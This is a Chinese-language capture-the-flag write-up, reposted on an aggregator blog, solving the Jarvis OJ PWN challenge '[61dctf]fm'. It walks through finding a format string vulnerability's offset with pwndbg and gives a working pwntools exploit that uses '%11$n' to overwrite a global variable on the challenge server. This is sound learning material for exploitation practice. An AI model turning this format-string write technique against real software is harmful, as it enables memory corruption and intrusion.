[Jarvis OJ - PWN]——[61dctf]fm
生活随笔
收集整理的這篇文章主要介紹了
[Jarvis OJ - PWN]——[61dctf]fm
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[Jarvis OJ - PWN]——[61dctf]fm
- 題目地址: https://www.jarvisoj.com/challenges
- 題目:
還是先checksec一下, 開啟了canary 和NX保護
在IDA中,查看一下, 這是一道格式化字符串的題。
找到x的地址
在pwndbg中進行調試一下, 尋找偏移
from pwn import *#p = remote("pwn2.jarvisoj.com",9895) p = process("./fm") gdb.attach(p, "b *0x080485AD") x_addr = 0x0804A02C payload = 'aaaa' + '%p' p.sendline(payload) p.interactive()找到偏移為 0xb = 11
驗證一下
0x61616161其實就是aaaa
因為我們要將x修改為4
所以
exploit
from pwn import *p = remote("pwn2.jarvisoj.com",9895) #p = process("./fm") #gdb.attach(p, "b *0x080485AD") x_addr = 0x0804A02C payload = p32(x_addr) + '%11$n'p.sendline(payload) p.interactive()一道簡單的格式化字符串題,希望對你有所幫助
總結
以上是生活随笔為你收集整理的[Jarvis OJ - PWN]——[61dctf]fm的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [Jarvis OJ - PWN]——T
- 下一篇: [Jarvis OJ - PWN]——B